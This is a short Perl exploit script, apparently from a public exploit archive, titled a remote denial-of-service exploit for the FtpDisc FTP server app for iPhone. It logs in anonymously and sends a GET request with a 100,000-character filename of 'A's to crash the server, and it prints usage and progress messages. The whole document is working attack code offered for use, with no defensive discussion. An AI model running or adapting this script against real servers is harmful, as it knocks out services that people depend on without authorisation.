#!/usr/bin/perl
#Title: FtpDisc for Iphone - Remote DOS Exploit
#Date: 23/02/2010
#Author: Ale46 - ale46[at]paranoici[dot]org
#Software Link: http://mochasoft.dk/iphone_ftp.htm
#Version: 1.0
#Note: FtpDisc Lite has the same vuln
#Greetz: Gandalf

use Net::FTP;

if(@ARGV<1){
 print "[-]\t Error: ./ftpdisc <ftp_server_ip>\n";
 exit();
}

my $ftp;
my $host = $ARGV[0];
my $stuff;

for ($i=0;$i<100000;$i++){
 $stuff .="A";
}

$ftp = Net::FTP->new($host, Timeout=>24, Debug => 0)
or die "Error: $@";
print "\n[-]\t Logging to FTP\n\n";
sleep(2);
$ftp->login('anonymous','test@test.net')
or die "Error: ", $ftp->message;
print "[-]\t Sending Eval Command\n\n";
sleep(2);
$ftp->get($stuff);
$ftp->quit;
print "[-]\t Uh.. A crash..\n";